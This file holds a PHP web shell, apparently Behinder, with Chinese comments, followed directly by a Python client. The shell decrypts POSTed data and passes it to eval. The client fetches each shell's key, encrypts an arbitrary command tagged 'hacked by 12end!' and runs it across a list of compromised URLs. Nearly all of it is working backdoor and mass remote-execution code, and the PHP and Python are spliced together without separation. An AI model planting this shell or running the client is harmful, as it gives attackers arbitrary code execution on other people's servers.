<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass'])) {
    $key = substr(md5(uniqid(rand())), 16);
    $_SESSION['k'] = $key;
    print $key;//能够直接取key
} else {
    $key = $_SESSION['k'];//key是在session中存着的
    $post = file_get_contents("php://input");//获取post内容
    if (!extension_loaded('openssl')) {//不存在openssl时候采用另一种加密方式
        $t = "base64_" . "decode";
        $post = $t($post . "");

        for ($i = 0; $i < strlen($post); $i++) {
            $post[$i] = $post[$i] ^ $key[$i + 1 & 15];//异或可以直接反向加解密
        }
    } else {
        $post = openssl_decrypt($post, "AES128", $key);//aes解密
    }

    $arr = explode('|', $post);//用|作为分隔符，取[1]来eval
    $func = $arr[0];//不明白这个变量有什么用处？可能是留给用户自己扩展吧，抓了下冰蟹流量这个地方是assert，但是实际上并没有用到
    $params = $arr[1];
    class C
    {
        public function __construct($p)
        {
            eval($p . "");
        }
    }
    @new C($params);
}

def Behinder_aes_enc(command, key):
    import os

    command = "|echo \\'hacked by 12end!\\';" + command
    str = "php -r \"echo @openssl_encrypt('%s', 'AES128', '%s');\"" % (command, key)
    try:
        str = os.popen(str).readline()
    except:
        str = ""
    return str


def Behinder_b64_enc(command, key):
    import base64, urllib

    command = "|echo 'hacked by 12end!';" + command + "//"
    str = ""
    for i in range(0, len(command)):
        str += chr(ord(command[i]) ^ ord(key[((i + 1) & 15)]))
    str = base64.b64encode(str.encode("utf-8")).decode()
    str = urllib.parse.quote(str)
    # print(str)
    return str


def Behinder_exec(url, command):

    sess = requests.session()
    key = sess.get(url + "?pass", timeout=3).text
    str = Behinder_aes_enc(command, key)
    result = sess.post(url, json=str).text
    if "12end" not in result:
        str = Behinder_b64_enc(command, key)
        result = sess.post(url, json=str, timeout=3).text
    sess.close()
    return result


def fuck_allBehinder(urls, command):
    for url in urls:
        Behinder_exec(url, command)


if __name__ == "__main__":
    urls = []
    command = ""
    fuck_allBehinder(urls, command)